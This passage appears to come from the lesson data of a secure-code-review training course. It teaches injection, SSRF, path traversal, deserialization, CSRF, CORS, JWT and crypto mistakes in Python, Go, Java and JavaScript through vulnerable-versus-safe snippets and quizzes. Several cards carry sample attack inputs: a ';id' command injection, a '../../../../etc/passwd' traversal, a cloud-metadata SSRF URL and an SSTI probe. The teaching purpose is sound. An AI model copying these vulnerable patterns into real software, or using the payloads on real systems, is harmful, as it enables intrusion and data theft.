      why:'Copying attacker-controlled keys such as <code class="inl">__proto__</code> writes onto <code class="inl">Object.prototype</code>, affecting all objects. Reject those keys or use a Map / null-prototype object.'}
   ]}
  ]
 },
 {
  id:'python', name:'Python', tag:'BACKEND', icon:'py', accent:'violet',
  sub:'Web backends, scripts and automation. Clean syntax, sharp edges.',
  lessons:[
   {id:'py1', name:'Reading Python & where input enters', xp:25, cards:[
     {t:'md',html:'<p>Python has no <code class="inl">$</code> sigils and no type declarations — a variable is just a name being assigned, and <b>indentation</b> (not braces) defines blocks. So you spot untrusted input by the library that produced it.</p><p>Common sources:</p><p>• Flask: <code class="inl">request.args</code>, <code class="inl">request.form</code>, <code class="inl">request.json</code><br>• Django: <code class="inl">request.GET</code>, <code class="inl">request.POST</code><br>• Scripts &amp; CLI: <code class="inl">sys.argv</code>, <code class="inl">input()</code>, environment variables</p>'},
     {t:'read',lang:'python',label:'Flask — a request handler',code:'from flask import request\n\n@app.route("/hello")\ndef hello():\n    name = request.args.get("name")     # SOURCE: from ?name=\n    return "<h1>Hi " + name + "</h1>"    # SINK: reflected into HTML',note:'Input from <code class="inl">request.args</code> is concatenated into HTML and returned — reflected <b>XSS</b> unless escaped. Jinja templates auto-escape; raw string building like this does not.'},
     {t:'quiz',q:'In this Python web handler, which line is the untrusted <b>source</b>?',
      opts:['The <code class="inl">@app.route</code> decorator','<code class="inl">request.args.get("name")</code>','The string <code class="inl">"Hi "</code>','The function name <code class="inl">hello</code>'],a:1,
      why:'<b>request.args</b> reads the URL query string — fully attacker-controlled. The decorator and function name are structure, not data.'}
   ]},
   {id:'py2', name:'SQL injection in Python', xp:30, cards:[
     {t:'md',html:'<p>Every Python database driver (sqlite3, psycopg2, MySQLdb, SQLAlchemy Core) accepts <b>parameters</b>. The bug appears when code builds the query string itself with an <b>f-string</b>, <code class="inl">%</code>, <code class="inl">.format()</code>, or <code class="inl">+</code>.</p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'name = request.args.get("name")\ncur.execute(f"SELECT * FROM users WHERE name = \'{name}\'")',note:'The f-string drops <code class="inl">name</code> straight into the SQL text — <code class="inl">?name=\' OR \'1\'=\'1</code> returns every row. f-strings and <code class="inl">.format()</code> are SQL injection in disguise.'},
     {t:'read',lang:'python',label:'Safe — parameterized',code:'cur.execute("SELECT * FROM users WHERE name = %s", (name,))',note:'The <code class="inl">%s</code> here is a <b>driver placeholder</b>, not string formatting — the value is bound separately and can never alter the query. (sqlite3 uses <code class="inl">?</code>.)'},
     {t:'quiz',q:'Which call is <b>safe</b> from SQL injection?',
      opts:['<code class="inl">cur.execute(f"...WHERE id={uid}")</code>','<code class="inl">cur.execute("...WHERE id=%s", (uid,))</code>','<code class="inl">cur.execute("...WHERE id=" + uid)</code>','<code class="inl">cur.execute("...WHERE id={}".format(uid))</code>'],a:1,
      why:'Only the <b>parameterized</b> call keeps the value as data. f-strings, <code class="inl">+</code>, and <code class="inl">.format()</code> all build the query from raw input.'}
   ]},
   {id:'py3', name:'Command injection in Python', xp:30, cards:[
     {t:'md',html:'<p>Python reaches the OS shell through <code class="inl">os.system()</code>, <code class="inl">os.popen()</code>, and <code class="inl">subprocess</code> calls with <code class="inl">shell=True</code>. The danger sign is a <b>built command string</b> handed to any of these.</p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'import subprocess\nhost = request.args.get("host")\nsubprocess.run("ping -c1 " + host, shell=True)   # ?host=8.8.8.8;id',note:'<code class="inl">shell=True</code> runs the string in <code class="inl">/bin/sh</code>, so <code class="inl">;</code> <code class="inl">|</code> <code class="inl">$()</code> chain attacker commands.'},
     {t:'read',lang:'python',label:'Safe — argument list',code:'subprocess.run(["ping", "-c1", host])   # list form, no shell',note:'An <b>argument list</b> with no <code class="inl">shell=True</code> sends <code class="inl">host</code> as a single argument to ping — the shell never parses it.'},
     {t:'quiz',q:'What single detail makes <code class="inl">subprocess.run(cmd, shell=True)</code> dangerous?',
      opts:['It imports subprocess','<code class="inl">shell=True</code> runs the built string through a shell that interprets metacharacters','run() is deprecated','It returns output'],a:1,
      why:'<b>shell=True</b> plus a concatenated string is command injection. The list form with no shell is the safe pattern.'}
   ]},
   {id:'py4', name:'Server-Side Template Injection', xp:35, cards:[
     {t:'md',html:'<p>Template engines (Jinja2, Twig, Freemarker) evaluate expressions inside markers like <code class="inl">{{ }}</code>. If <b>user input is placed into the template itself</b> — not just passed as a value — the input is evaluated as template code, often leading to RCE. The Python tell is <code class="inl">render_template_string()</code> built from input.</p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'from flask import render_template_string, request\nname = request.args.get("name")\ntpl = "<h1>Hello " + name + "</h1>"\nreturn render_template_string(tpl)   # ?name={{7*7}} -> 49',note:'Because <code class="inl">name</code> is concatenated into the <i>template source</i>, <code class="inl">{{7*7}}</code> renders as <code class="inl">49</code> — proof of <b>SSTI</b>. Payloads escalate to reading files and running commands.'},
     {t:'read',lang:'python',label:'Safe — fixed template, bound value',code:'return render_template_string("<h1>Hello {{ name }}</h1>", name=name)',note:'The template is <b>fixed</b> and <code class="inl">name</code> is passed as a bound variable — escaped, never evaluated as template code.'},
     {t:'quiz',q:'In a Flask app, <code class="inl">?name={{7*7}}</code> shows <code class="inl">49</code> on the page. What does that prove?',
      opts:['A math bug','Server-Side Template Injection — input is evaluated as template code','A caching issue','Nothing, that is normal'],a:1,
      why:'User input being <b>evaluated</b> (7*7 → 49) means it reached the template engine as code. That is <b>SSTI</b>, a common path to RCE.'}
   ]},
   {id:'py5', name:'Insecure deserialization (pickle)', xp:35, cards:[
     {t:'md',html:'<p>Python\'s <code class="inl">pickle</code> can serialize almost any object — and <b>deserializing</b> attacker-controlled pickle data can execute code, because a pickle stream can invoke arbitrary constructors. The same risk applies to <code class="inl">yaml.load()</code> with an unsafe loader.</p>'},
     {t:'read',lang:'python',label:'Dangerous',code:'import pickle\ndata = request.get_data()          # untrusted bytes\nobj = pickle.loads(data)           # RCE: pickle can run code on load',note:'Never <code class="inl">pickle.loads()</code> untrusted input — a crafted pickle can run commands as your app. Use JSON, or <code class="inl">yaml.safe_load()</code> for YAML.'},
     {t:'quiz',q:'You see <code class="inl">pickle.loads(request.get_data())</code>. Verdict?',
      opts:['Fine — pickle is just serialization','Critical — deserializing untrusted pickle can execute code (RCE)','Only a problem if the object is large','Safe if wrapped in try/except'],a:1,
      why:'<b>pickle.loads</b> on attacker data is a textbook RCE. The fix is a safe format (JSON) or <code class="inl">yaml.safe_load</code>; try/except does not help.'}
   ]}
  ]
 },
 {
  id:'go', name:'Go', tag:'BACKEND', icon:'Go', accent:'amber',
  sub:'Google\'s compiled language for servers and cloud. Clean syntax, familiar bug classes.',
  lessons:[
   {id:'go1', name:'Reading Go & where input enters', xp:25, cards:[
     {t:'md',html:'<p><b>Go</b> is statically typed and compiled, with a clean syntax: <code class="inl">:=</code> declares and infers a variable, and errors are returned explicitly. In web services (<code class="inl">net/http</code>, Gin, Echo) untrusted input arrives via <code class="inl">r.URL.Query().Get()</code>, <code class="inl">r.FormValue()</code>, <code class="inl">r.Header.Get()</code>, and path variables.</p>'},
     {t:'read',lang:'go',label:'net/http handler',code:'func handler(w http.ResponseWriter, r *http.Request) {\n    name := r.URL.Query().Get("name")     // source: ?name=\n    fmt.Fprintf(w, "<h1>%s</h1>", name)   // reflected into HTML\n}',note:'Go\'s <code class="inl">html/template</code> auto-escapes, but writing straight to the response with <code class="inl">Fprintf</code> does not — reflected <b>XSS</b>. <code class="inl">:=</code> declares and infers the variable type.'},
     {t:'quiz',q:'Where does <code class="inl">r.URL.Query().Get("name")</code> get its value?',
      opts:['A constant','The HTTP request query string — untrusted input','Another Go file','The compiler'],a:1,
      why:'It reads the URL query string from the request. Like all request data it is attacker-controlled and must be treated as a source.'}
   ]},
   {id:'go2', name:'SQL injection in Go', xp:30, cards:[
     {t:'md',html:'<p>Go\'s <code class="inl">database/sql</code> supports <b>placeholders</b> (<code class="inl">?</code> for MySQL, <code class="inl">$1</code> for Postgres). Building the query string with <code class="inl">fmt.Sprintf</code> instead is injectable.</p>'},
     {t:'read',lang:'go',label:'Vulnerable',code:'q := fmt.Sprintf("SELECT * FROM users WHERE name = \'%s\'", name)\nrows, _ := db.Query(q)   // SQL injection',note:'<code class="inl">fmt.Sprintf</code> welds input into the SQL text, exactly like concatenation in other languages.'},
     {t:'read',lang:'go',label:'Safe — placeholder',code:'rows, _ := db.Query("SELECT * FROM users WHERE name = ?", name)  // bound',note:'The <code class="inl">?</code> placeholder keeps <code class="inl">name</code> as data. This is the fix you look for.'},
     {t:'quiz',q:'Which Go database call is safe from SQL injection?',
      opts:['<code class="inl">db.Query(fmt.Sprintf("... %s", name))</code>','<code class="inl">db.Query("... = ?", name)</code> with a placeholder','Concatenating with +','Running it twice'],a:1,
      why:'A parameterized query with a <b>placeholder</b> (<code class="inl">?</code> / <code class="inl">$1</code>) separates code from data. <code class="inl">fmt.Sprintf</code> into the query is the injectable pattern.'}
   ]},
   {id:'go3', name:'Command injection in Go', xp:30, cards:[
     {t:'md',html:'<p>Go runs OS commands with <code class="inl">os/exec</code>. <code class="inl">exec.Command("sh", "-c", str)</code> runs a <b>shell</b> and is injectable; <code class="inl">exec.Command("ping", "-c1", host)</code> passes arguments directly with no shell.</p>'},
     {t:'read',lang:'go',label:'Vulnerable vs safe',code:'// vulnerable: a shell parses the built string\nexec.Command("sh", "-c", "ping -c1 "+host).Run()\n\n// safe: arguments passed directly, no shell\nexec.Command("ping", "-c1", host).Run()',note:'Routing through <code class="inl">sh -c</code> exposes <code class="inl">;</code> <code class="inl">|</code> <code class="inl">$( )</code>. The argument-list form sends <code class="inl">host</code> as a single argument to the binary.'},
     {t:'quiz',q:'What makes <code class="inl">exec.Command("sh","-c", "ping "+host)</code> injectable?',
      opts:['Using Go','User input is concatenated into a command run through a shell','ping is missing','It returns an error'],a:1,
      why:'A concatenated string run via <code class="inl">sh -c</code> lets shell metacharacters chain commands. Pass an argument list with no shell instead.'}
   ]},
   {id:'go4', name:'SSRF & path traversal in Go', xp:30, cards:[
     {t:'md',html:'<p>Two more familiar classes in Go: <b>SSRF</b> — <code class="inl">http.Get(userURL)</code> fetches an attacker-chosen URL (including cloud metadata) — and <b>path traversal</b> — joining a user filename onto a base path and opening it lets <code class="inl">../</code> escape.</p>'},
     {t:'read',lang:'go',label:'Two sinks',code:'resp, _ := http.Get(r.URL.Query().Get("url"))   // SSRF\n\np := filepath.Join("/data", r.URL.Query().Get("f"))\nf, _ := os.Open(p)                                // path traversal via ../',note:'<code class="inl">filepath.Join</code> does not stop <code class="inl">../</code> escaping the base — call <code class="inl">filepath.Clean</code> and verify the result stays inside <code class="inl">/data</code>. Allowlist URLs and block internal ranges for the fetch.'},
     {t:'quiz',q:'Why is <code class="inl">http.Get(userURL)</code> in a server risky?',
      opts:['It is slow','SSRF — the server can reach internal systems (like cloud metadata) the user cannot','It uses too much memory','Nothing'],a:1,
      why:'Fetching a user-supplied URL server-side is <b>SSRF</b>: it abuses the server\'s network position to reach internal-only resources such as the cloud metadata endpoint.'}
   ]}
  ]
 },
 {
  id:'java', name:'Java & the JVM', tag:'JVM', icon:'☕', accent:'violet',
  sub:'Enterprise backends and Android — strong typing, classic injection and deserialization bugs.',
  lessons:[
   {id:'jv1', name:'Reading Java & where input enters', xp:25, cards:[
     {t:'md',html:'<p>Java is statically typed and object-oriented; every method lives in a class. In web apps (Spring, Jakarta EE) untrusted input arrives through:</p><p>• Spring: <code class="inl">@RequestParam</code>, <code class="inl">@PathVariable</code>, <code class="inl">@RequestBody</code><br>• Servlets: <code class="inl">request.getParameter()</code>, <code class="inl">getHeader()</code><br>• CLI: the <code class="inl">String[] args</code> of <code class="inl">main</code></p>'},
     {t:'read',lang:'java',label:'Spring controller',code:'@GetMapping("/user")\npublic String user(@RequestParam String name) {   // bound from ?name=\n    return "<h1>" + name + "</h1>";                 // reflected into HTML\n}',note:'<code class="inl">@RequestParam</code> auto-binds the query parameter into <code class="inl">name</code>. Returned straight into HTML, it is reflected <b>XSS</b> unless the view escapes it.'},
     {t:'quiz',q:'In a Spring controller, where does a <code class="inl">@RequestParam String name</code> value come from?',
      opts:['A constant in the code','The HTTP request (query string, form, etc.) — untrusted input','Another class','The database only'],a:1,
      why:'<b>@RequestParam</b> binds request data into the argument. Like all request-bound values it is attacker-controlled and must be treated as a source.'}
   ]},
   {id:'jv2', name:'SQL injection in JDBC', xp:30, cards:[
     {t:'md',html:'<p>JDBC runs SQL through <code class="inl">Statement</code> or <code class="inl">PreparedStatement</code>. Building a query by <b>concatenation</b> and running it via <code class="inl">Statement</code> is injectable; <code class="inl">PreparedStatement</code> with <code class="inl">?</code> placeholders is safe.</p>'},
     {t:'read',lang:'java',label:'Vulnerable',code:'String sql = "SELECT * FROM users WHERE name = \'" + name + "\'";\nStatement st = conn.createStatement();\nResultSet rs = st.executeQuery(sql);   // SQL injection',note:'Input is welded into the SQL text. An ORM like Hibernate/JPA is injectable too if you build HQL/JPQL by concatenation.'},
     {t:'read',lang:'java',label:'Safe — PreparedStatement',code:'PreparedStatement ps = conn.prepareStatement(\n    "SELECT * FROM users WHERE name = ?");\nps.setString(1, name);   // bound as data\nResultSet rs = ps.executeQuery();',note:'The <code class="inl">?</code> placeholder keeps input as a value, never code. This is the fix you look for.'},
     {t:'quiz',q:'Which JDBC pattern prevents SQL injection?',
      opts:['Statement with a concatenated query','PreparedStatement with ? placeholders and setString()','Running the query twice','Catching SQLException'],a:1,
      why:'<b>PreparedStatement</b> with bound parameters separates code from data. Concatenating into a <code class="inl">Statement</code> is the classic injectable pattern.'}
   ]},
   {id:'jv3', name:'Command injection in Java', xp:30, cards:[
     {t:'md',html:'<p>Java runs OS commands via <code class="inl">Runtime.getRuntime().exec()</code> and <code class="inl">ProcessBuilder</code>. Passing a <b>single built string</b> — especially through a shell (<code class="inl">sh -c</code>) — lets attacker metacharacters chain commands.</p>'},
     {t:'read',lang:'java',label:'Vulnerable',code:'String cmd = "ping -c1 " + host;\nRuntime.getRuntime().exec(new String[]{"sh","-c", cmd});   // shell = injectable',note:'Routing through <code class="inl">sh -c</code> with a concatenated string exposes <code class="inl">;</code> <code class="inl">|</code> <code class="inl">$( )</code>. Prefer <code class="inl">new ProcessBuilder("ping","-c1",host)</code> with no shell and validated args.'},
     {t:'quiz',q:'What makes the exec() call above injectable?',
      opts:['Using Java at all','User input is concatenated into a command run through a shell (sh -c)','ping is not installed','exec() returns a Process'],a:1,
      why:'A concatenated string run via <code class="inl">sh -c</code> lets shell metacharacters chain commands. Pass an argument array with no shell instead.'}
   ]},
   {id:'jv4', name:'Insecure deserialization in Java', xp:35, cards:[
     {t:'md',html:'<p>Java can turn bytes back into objects with <code class="inl">ObjectInputStream.readObject()</code>. On <b>attacker-controlled</b> bytes this is dangerous: crafted data can trigger "gadget chains" in libraries already on the classpath and reach <b>remote code execution</b> (the technique behind tools like ysoserial).</p>'},
     {t:'read',lang:'java',label:'Dangerous',code:'ObjectInputStream in = new ObjectInputStream(request.getInputStream());\nMyObject obj = (MyObject) in.readObject();   // untrusted bytes -> objects',note:'<code class="inl">readObject()</code> on untrusted input is a well-known RCE path. Prefer a safe data format (JSON with a strict schema) and never deserialize untrusted Java objects.'},
     {t:'quiz',q:'Why is <code class="inl">ObjectInputStream.readObject()</code> on request data a critical finding?',
      opts:['It is slow','Crafted bytes can trigger gadget chains and reach remote code execution','It only reads strings','It needs a database'],a:1,
      why:'Java deserialization of attacker data can chain existing classes into <b>RCE</b>. It is the same class of bug behind many Java CVEs.'}
   ]}
  ]
 },
 {
  id:'webpat', name:'Web Attack Patterns', tag:'CROSS-LANG', icon:'◎', accent:'amber',
  sub:'Language-agnostic bug classes scanners and beginners miss.',
  lessons:[
   {id:'w1', name:'SSRF — Server-Side Request Forgery', xp:35, cards:[
     {t:'md',html:'<p><b>Server-Side Request Forgery (SSRF)</b>: the server fetches a URL the user controls. An attacker points it at <b>internal</b> systems the server can reach but they cannot — admin panels, databases, or the cloud <b>metadata endpoint</b> <code class="inl">169.254.169.254</code>, which can hand back credentials.</p><p>The tell: a request function (<code class="inl">requests.get</code>, <code class="inl">fetch</code>, <code class="inl">curl</code>, <code class="inl">file_get_contents</code>) fed a user-supplied URL.</p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'url = request.args.get("url")     # user controls the whole URL\nr = requests.get(url)             # server fetches it\nreturn r.text                     # ...and returns the response',note:'<code class="inl">?url=http://169.254.169.254/latest/meta-data/</code> makes the server read cloud metadata. Defenses: allowlist hosts, block internal IP ranges, disable redirects.'},
     {t:'quiz',q:'Why is fetching a user-supplied URL server-side dangerous, even though the user could visit URLs themselves?',
      opts:['It is slow','The server can reach internal-only systems (metadata, admin panels) the user cannot','It wastes bandwidth','It is not dangerous'],a:1,
      why:'SSRF abuses the <b>server\'s</b> network position to reach internal resources — the classic prize is cloud <b>metadata</b> credentials.'}
   ]},
   {id:'w2', name:'IDOR & broken access control', xp:35, cards:[
     {t:'md',html:'<p><b>Insecure Direct Object Reference (IDOR)</b>: code looks up a record by an id from the request but never checks that the record <b>belongs to</b> the current user. Change the id, read someone else\'s data.</p><p>This is invisible to input-sanitization thinking — the input is a perfectly valid number. You find it by asking: <i>where is the ownership check?</i></p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'@app.route("/invoice/<id>")\ndef invoice(id):\n    inv = db.invoices.get(id)      # fetched by id from the URL\n    return render(inv)             # no check that inv.owner == current_user',note:'<code class="inl">/invoice/1001</code> → <code class="inl">/invoice/1002</code> exposes another customer\'s invoice. The fix is an <b>authorization check</b>: confirm the object belongs to the caller.'},
     {t:'quiz',q:'A handler loads <code class="inl">invoice[id]</code> straight from the URL id. What control is missing?',
      opts:['Input validation on the number','An authorization check that the invoice belongs to the current user','Rate limiting','HTTPS'],a:1,
      why:'The id is valid data; the flaw is <b>broken access control</b>. Every object fetched by a client-supplied id needs an ownership/permission check.'}
   ]},
   {id:'w3', name:'Path traversal & file inclusion', xp:30, cards:[
     {t:'md',html:'<p><b>Path traversal</b>: a filename from the user is joined to a path and used to read, write, or include files. Sequences like <code class="inl">../</code> climb out of the intended directory to reach <code class="inl">/etc/passwd</code>, source, or config.</p><p>Cross-language sinks: <code class="inl">open()</code>, <code class="inl">readFile</code>, <code class="inl">include</code>, <code class="inl">File.ReadAllText</code>, <code class="inl">fopen</code>.</p>'},
     {t:'read',lang:'python',label:'Vulnerable',code:'name = request.args.get("file")\npath = "/var/www/uploads/" + name\nreturn open(path).read()          # ?file=../../../../etc/passwd',note:'Concatenating a user filename lets <code class="inl">../</code> escape the folder. Defenses: reject <code class="inl">..</code>, resolve the real path and confirm it stays inside the base directory.'},
     {t:'quiz',q:'Which payload characterizes a path-traversal attempt against <code class="inl">/uploads/ + filename</code>?',
      opts:['A very long filename','<code class="inl">../../</code> sequences that climb out of the uploads directory','An uppercase filename','A filename with spaces'],a:1,
      why:'<b>../</b> walks up the directory tree. If the joined path is used without confining it to the base directory, it is path traversal.'}
   ]},
   {id:'w4', name:'Authentication & token flaws', xp:35, cards:[
     {t:'md',html:'<p>Auth bugs you can spot by reading:</p><p>• <b>Predictable tokens</b> — session ids or password resets from <code class="inl">Math.random()</code>, timestamps, or sequential ids.<br>• <b>JWT</b> accepting <code class="inl">alg: none</code>, or a hardcoded/weak secret.<br>• <b>Missing verification</b> — decoding a token but never checking its signature.</p>'},
     {t:'read',lang:'js',label:'Vulnerable — decode is not verify',code:'const token = req.headers.authorization;\nconst data = jwt.decode(token);   // decode != verify — no signature check!\nreq.user = data.user;             // attacker forges {user:"admin"}',note:'<code class="inl">jwt.decode</code> only parses the token; it does not check the signature. Use <code class="inl">jwt.verify(token, secret)</code> so a forged token is rejected.'},
     {t:'quiz',q:'What is wrong with using <code class="inl">jwt.decode(token)</code> for auth instead of <code class="inl">jwt.verify</code>?',
      opts:['Nothing','<code class="inl">decode</code> does not check the signature, so a forged token is trusted','decode is slower','decode needs a database'],a:1,
      why:'<b>decode</b> just parses the token; only <b>verify</b> checks the signature against your secret. Trusting decoded claims lets anyone forge an admin token.'}
   ]},
   {id:'w5', name:'Cross-Site Request Forgery (CSRF)', xp:30, cards:[
     {t:'md',html:'<p><b>CSRF</b> abuses the fact that browsers automatically attach a site\'s cookies to every request to it. If a state-changing action (change email, transfer funds) is authorized by the session cookie <i>alone</i>, an attacker page can submit that request on the victim\'s behalf — no credential theft needed.</p><p>The tell: a POST that changes state with <b>no anti-CSRF token</b> and no <code class="inl">SameSite</code> cookie protection.</p>'},
     {t:'read',lang:'js',label:'Vulnerable vs defended',code:'// vulnerable: the state change trusts the session cookie only\napp.post("/account/email", (req, res) => {\n  updateEmail(req.session.user, req.body.email);\n});\n\n// defended: require an unpredictable CSRF token (+ SameSite cookies)\napp.post("/account/email", csrfProtection, handler);',note:'Defences: a per-session <b>CSRF token</b> the attacker cannot know, <code class="inl">SameSite=Lax/Strict</code> cookies, and checking the origin/referer for sensitive actions.'},
     {t:'quiz',q:'Why can an attacker page trigger a state-changing request as the victim in a CSRF bug?',
      opts:['It steals the password','The browser auto-sends the victim\'s session cookie, and the action requires nothing else','It reads the database','It disables HTTPS'],a:1,
      why:'Browsers attach the site\'s cookies to requests automatically. If a sensitive action is authorized by the cookie alone, a cross-site request rides it. Require an anti-CSRF token and SameSite cookies.'}
   ]},
   {id:'w6', name:'Open redirect', xp:25, cards:[
     {t:'md',html:'<p>An <b>open redirect</b> is a redirect whose destination comes from user input with no validation. Because the link starts on the trusted domain, it is convincing in phishing: the victim clicks a link to <code class="inl">trusted.com</code> and lands on the attacker\'s site.</p><p>The tell: <code class="inl">redirect(userInput)</code> where the target is a full, attacker-controlled URL.</p>'},
     {t:'read',lang:'js',label:'Vulnerable vs safe',code:'// vulnerable: ?next=https://evil.example bounces the user off-site\nres.redirect(req.query.next);\n\n// safe: accept only known, relative paths\nconst next = req.query.next || "/";\nif (!next.startsWith("/") || next.startsWith("//")) return res.redirect("/");\nres.redirect(next);',note:'Allowlist redirect targets or accept only relative paths (and reject <code class="inl">//host</code>, which browsers treat as protocol-relative). Never redirect to a raw user-supplied URL.'},
     {t:'quiz',q:'Why is <code class="inl">res.redirect(req.query.next)</code> dangerous?',
      opts:['Redirects are always unsafe','An attacker controls the destination, so a link on the trusted site can send victims to a phishing page','It is slow','It breaks cookies'],a:1,
      why:'An unvalidated redirect target lets an attacker craft a trusted-looking link that bounces victims to a malicious site. Allowlist targets or accept only relative paths.'}
   ]},
   {id:'w7', name:'CORS misconfiguration', xp:30, cards:[
     {t:'md',html:'<p><b>CORS</b> decides which other origins may <i>read</i> a cross-origin response. A dangerous misconfiguration reflects the request\'s <code class="inl">Origin</code> header back in <code class="inl">Access-Control-Allow-Origin</code> <b>and</b> sets <code class="inl">Access-Control-Allow-Credentials: true</code> — now <b>any</b> website can make authenticated requests as the victim and read the response. Trusting the <code class="inl">null</code> origin or a broad wildcard is similarly risky.</p>'},
     {t:'read',lang:'js',label:'Vulnerable vs safe',code:'// vulnerable: reflect whatever Origin the request claims + allow credentials\nres.setHeader("Access-Control-Allow-Origin", req.headers.origin);\nres.setHeader("Access-Control-Allow-Credentials", "true");\n\n// safer: allowlist specific trusted origins only\nif (ALLOWED.has(req.headers.origin))\n  res.setHeader("Access-Control-Allow-Origin", req.headers.origin);',note:'Reflecting the <code class="inl">Origin</code> with credentials enabled lets any site read authenticated responses. Allowlist exact origins, and never pair a reflected/wildcard origin with <code class="inl">Allow-Credentials: true</code>.'},
     {t:'quiz',q:'Why is reflecting the request <code class="inl">Origin</code> with <code class="inl">Allow-Credentials: true</code> dangerous?',
      opts:['It is slow','Any website can then send authenticated requests and read the responses, stealing user data','It blocks all requests','It breaks caching'],a:1,
      why:'Echoing the caller\'s origin while allowing credentials trusts <b>every</b> site, so a malicious page can read the victim\'s authenticated data. Allowlist specific origins instead.'}
   ]}
  ]
 },
 {
  id:'crypto', name:'Crypto Failures', tag:'CRYPTO', icon:'🔐', accent:'amber',
  sub:'The cryptography mistakes you can spot by reading — weak hashes, bad randomness, broken ciphers.',
  lessons:[
   {id:'cr1', name:'Password hashing done wrong', xp:30, cards:[
     {t:'md',html:'<p>Passwords must be stored as <b>slow, salted</b> hashes. Fast general-purpose hashes — <code class="inl">MD5</code>, <code class="inl">SHA1</code>, <code class="inl">SHA-256</code> — are built for speed, so an attacker with a leaked database can try billions of guesses per second.</p><p>The right tools are <b>bcrypt</b>, <b>argon2</b>, or <b>PBKDF2</b>: deliberately slow and salted.</p>'},
     {t:'read',lang:'php',label:'Wrong vs right',code:'$hash = md5($password);              // fast, unsalted -> crackable\n$hash = password_hash($password, PASSWORD_DEFAULT);  // bcrypt/argon2',note:'Seeing <code class="inl">md5</code>/<code class="inl">sha1</code> on a password is a finding. <code class="inl">password_hash()</code> (PHP), <code class="inl">bcrypt</code>, and <code class="inl">argon2</code> add cost and a salt automatically.'},
     {t:'quiz',q:'Why is <code class="inl">MD5</code> a poor choice for hashing passwords?',
      opts:['It is illegal','It is fast and unsalted, so leaked hashes are cracked quickly','It only works on numbers','It is far too slow'],a:1,
      why:'Password hashing should be <b>slow and salted</b>. MD5/SHA are fast, so a stolen database is brute-forced rapidly. Use bcrypt/argon2/PBKDF2.'}
   ]},
   {id:'cr2', name:'Weak & predictable randomness', xp:30, cards:[
     {t:'md',html:'<p>Security tokens (session ids, password-reset links, API keys) must be <b>unpredictable</b>. Ordinary random functions — <code class="inl">rand()</code>, <code class="inl">mt_rand()</code>, <code class="inl">Math.random()</code>, <code class="inl">java.util.Random</code> — are <i>not</i> cryptographically secure and can be predicted.</p><p>Use a CSPRNG: <code class="inl">random_bytes()</code> (PHP), <code class="inl">crypto.randomBytes()</code> (Node), the <code class="inl">secrets</code> module (Python), <code class="inl">SecureRandom</code> (Java).</p>'},
     {t:'read',lang:'js',label:'Predictable vs secure',code:'const token = Math.random().toString(36);              // predictable!\nconst token = crypto.randomBytes(32).toString("hex");  // secure',note:'<code class="inl">Math.random()</code> is seeded predictably and is not meant for security. A CSPRNG like <code class="inl">crypto.randomBytes</code> produces unguessable tokens.'},
     {t:'quiz',q:'Which is safe for generating a password-reset token?',
      opts:['Math.random()','crypto.randomBytes() / a CSPRNG','The current timestamp','An incrementing counter'],a:1,
      why:'Reset tokens must be unguessable. Non-crypto RNGs, timestamps and counters are predictable; a <b>CSPRNG</b> is required.'}
   ]},
   {id:'cr3', name:'Broken encryption usage', xp:35, cards:[
     {t:'md',html:'<p>Even with a strong cipher (AES), <i>how</i> it is used matters:</p><p>• <b>ECB mode</b> encrypts identical blocks identically — patterns leak (the famous "ECB penguin").<br>• <b>Hardcoded keys/IVs</b> in source mean anyone with the code can decrypt.<br>• <b>Reused IV/nonce</b> breaks the security of stream and GCM modes.</p>'},
     {t:'read',lang:'python',label:'Red flags',code:'cipher = AES.new(key, AES.MODE_ECB)      # ECB: leaks patterns\nkey = b"hardcoded-secret-key-123"          # hardcoded key\niv  = b"0000000000000000"                  # fixed / reused IV',note:'Prefer an authenticated mode (AES-GCM) with a random per-message nonce, and load keys from a secrets manager — never literals in source.'},
     {t:'quiz',q:'Why is AES in <b>ECB mode</b> a weakness?',
      opts:['AES is broken','Identical plaintext blocks produce identical ciphertext, leaking structure','It is too slow','It needs no key'],a:1,
      why:'<b>ECB</b> lacks diffusion between blocks, so repeated plaintext shows as repeated ciphertext. Use an authenticated mode (GCM) with a random nonce.'}
   ]},
   {id:'cr4', name:'Comparing secrets & timing attacks', xp:30, cards:[
     {t:'md',html:'<p>Comparing a secret (token, HMAC, API key) with a normal <code class="inl">==</code> can leak information: many implementations stop at the first differing byte, so the check takes slightly longer the more leading bytes match. Over many requests an attacker can recover the secret — a <b>timing side-channel</b>.</p><p>Use a <b>constant-time</b> comparison instead.</p>'},
     {t:'read',lang:'python',label:'Timing-unsafe vs safe',code:'if token == expected:                       # early-exit, timing leak\n    grant()\nif hmac.compare_digest(token, expected):    # constant-time\n    grant()',note:'Constant-time helpers: <code class="inl">hmac.compare_digest</code> (Python), <code class="inl">hash_equals</code> (PHP), <code class="inl">crypto.timingSafeEqual</code> (Node).'},
     {t:'quiz',q:'Why compare security tokens with a constant-time function?',
      opts:['It is faster','A normal == can leak how many leading bytes matched via timing, helping an attacker recover the secret','== does not work on strings','To save memory'],a:1,
      why:'Byte-by-byte <code class="inl">==</code> exits early on a mismatch, so response time reveals partial matches. <b>Constant-time compare</b> removes that side-channel.'}
   ]},
   {id:'cr5', name:'JWT algorithm confusion', xp:35, cards:[
     {t:'md',html:'<p>A <b>JWT</b>\'s header names the algorithm used to sign it — and trusting that header is the bug. Two classics:</p><p>• <b><code class="inl">alg: none</code></b> — some libraries accept an unsigned token as valid.<br>• <b>RS256 → HS256 confusion</b> — the server expects RSA (verify with the <i>public</i> key), but an attacker sends an <code class="inl">HS256</code> token, and the library verifies it using the public key as the HMAC secret — which the attacker also has. Forged admin tokens follow.</p>'},
     {t:'read',lang:'js',label:'Vulnerable vs safe',code:'// vulnerable: trusts the alg in the attacker-controlled header\njwt.verify(token, key);   // may accept alg:none, or HS256 verified with the public key\n\n// safe: pin the algorithm(s) you accept\njwt.verify(token, key, { algorithms: ["RS256"] });',note:'Always pin the accepted <code class="inl">algorithms</code>. Never let the token\'s own header decide how it is verified — that is how <code class="inl">alg:none</code> and RS256/HS256 confusion forge tokens.'},
     {t:'quiz',q:'How does JWT "algorithm confusion" let an attacker forge a token?',
      opts:['By stealing the private key','The server verifies an attacker-crafted HS256 token using the public key as the HMAC secret (or accepts alg:none)','By brute forcing the password','By XSS'],a:1,
